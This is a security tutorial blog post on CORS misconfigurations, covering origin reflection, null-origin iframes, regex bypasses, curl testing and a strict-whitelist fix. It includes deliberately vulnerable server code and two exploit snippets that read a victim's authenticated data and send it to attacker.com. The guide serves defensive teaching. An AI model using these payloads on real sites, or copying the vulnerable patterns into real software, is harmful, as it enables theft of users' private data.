CORS Misconfigurations: A Practical Exploitation Guide
TL;DR
CORS misconfigurations can expose your users' sensitive data to attackers. Learn how origin reflection, null origin attacks, and regex bypasses work—and how to properly secure your APIs.
Cross-Origin Resource Sharing (CORS) is one of the most misunderstood security mechanisms in web development. When configured incorrectly, it can expose your users' sensitive data to attackers. In this deep dive, we'll explore how CORS works, common misconfigurations, and how attackers exploit them in the real world.
What is CORS and Why Does It Exist?
Before we dive into attacks, let's understand what we're dealing with. CORS is a browser security feature that relaxes the Same-Origin Policy (SOP)—the fundamental security boundary that prevents one website from reading data from another.
The Same-Origin Policy dictates that a script on https://attacker.com cannot read responses from https://bank.com. Without this protection, any malicious website could steal your banking information while you browse.
However, legitimate applications often need to make cross-origin requests. A React frontend on app.example.com might need to call an API on api.example.com. CORS provides a controlled way to allow this.
When a browser makes a cross-origin request, it includes an Origin header. The server can then respond with CORS headers indicating whether the request should be allowed:
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, AuthorizationThe Dangerous Configurations
1. Reflecting the Origin Header (The Classic Mistake)
The most common and dangerous misconfiguration is dynamically reflecting the Origin header back in Access-Control-Allow-Origin:
// VULNERABLE CODE - DO NOT USE
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});This effectively disables CORS protection entirely. Any website can now make authenticated requests to your API and read the responses.
Why developers do this: They want to support multiple subdomains or client applications without maintaining a whitelist. It "just works" during development. The exploit is simple:
<!-- On attacker.com -->
<script>
fetch('https://vulnerable-api.com/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Send stolen data to attacker's server
fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
});
</script>2. Null Origin Acceptance
Some developers think 'null' is a safe origin to allow. It's not. The null origin is sent by local HTML files (file://), sandboxed iframes, redirects from data URLs, and some privacy-focused browsers.
An attacker can trigger the null origin using a sandboxed iframe:
<iframe sandbox="allow-scripts allow-forms"
src="data:text/html,<script>
fetch('https://vulnerable.com/api/secrets', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/log?'+d))
</script>">
</iframe>3. Regex Bypass Vulnerabilities
Many applications try to validate origins using regular expressions. These are often flawed:
// Intended to allow *.example.com
const allowedOriginPattern = /example\.com$/;
if (allowedOriginPattern.test(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}This pattern matches https://app.example.com (intended) but also https://attackerexample.com and https://example.com.attacker.com (unintended!). The proper regex should be: /^https:\/\/([a-z0-9-]+\.)?example\.com$/
4. Pre-Domain Wildcard Mistakes
Another regex mistake: /.*\.example\.com/ allows https://evil.com?.example.com because the dot matches any character including the question mark.
5. Trusting Any Subdomain
Even correctly implementing subdomain trust can be dangerous if any subdomain is compromised. If an attacker finds XSS on blog.example.com, they can now access APIs that trust all *.example.com origins. This is called a 'subdomain takeover' attack vector.
Real-World Case Studies
The Bitcoin Exchange Leak (2019): A major cryptocurrency exchange was found to have a CORS misconfiguration that reflected any origin. Researchers demonstrated they could steal users' trading history, email addresses, and API keys by having them visit a malicious page.
Healthcare Data Exposure: A healthcare application was found accepting the null origin with credentials. Patient medical records, appointment histories, and insurance information were all accessible to any attacker who could get a victim to visit their page.
Jenkins Plugin Vulnerabilities: Multiple Jenkins plugins have been found with CORS misconfigurations allowing any origin. Given that Jenkins often has access to source code, deployment credentials, and CI/CD pipelines, this represents a significant supply chain risk.
Testing for CORS Vulnerabilities
Use curl or browser DevTools to test different origins:
# Test if origin is reflected
curl -H "Origin: https://evil.com" \
-I https://target.com/api/endpoint
# Test null origin
curl -H "Origin: null" \
-I https://target.com/api/endpoint
# Test regex bypasses
curl -H "Origin: https://target.com.evil.com" \
-I https://target.com/api/endpointTools like Burp Suite, OWASP ZAP, and specialized tools like CORStest and corsy can automate this testing.
Proper CORS Configuration
The recommended approach is a strict whitelist:
const allowedOrigins = new Set([
'https://app.example.com',
'https://admin.example.com',
'https://mobile.example.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin'); // Important for caching
}
next();
});Always include the Vary: Origin header when CORS headers change based on the Origin. This prevents cache poisoning attacks where a cached response with the wrong CORS headers is served to other origins.
Defense in Depth
Even with proper CORS configuration, implement additional protections:
CSRF Tokens: Don't rely solely on CORS for state-changing operations.
SameSite Cookies: Use SameSite=Strict or SameSite=Lax for session cookies.
API Keys: Require API keys for sensitive endpoints, not just cookies.
Rate Limiting: Detect and block automated attack attempts.
Conclusion
CORS misconfigurations remain one of the most common web security vulnerabilities because they're so easy to introduce during development. The difference between a secure and vulnerable configuration is often just a few lines of code.
Remember: CORS is not a security feature you enable—it's a security feature you carefully relax. Start with the most restrictive configuration possible and only add exceptions when absolutely necessary.
Always validate that your origin checking logic handles edge cases, and never trust user input (including the Origin header) without proper validation.
Want to practice exploiting CORS misconfigurations in a safe environment? Try our hands-on CORS challenges in AliceSec's Web Security track.
Get the weekly vulnerability breakdown
New challenges, exploit techniques, and security tips. No spam.
Unsubscribe anytime. No spam, ever.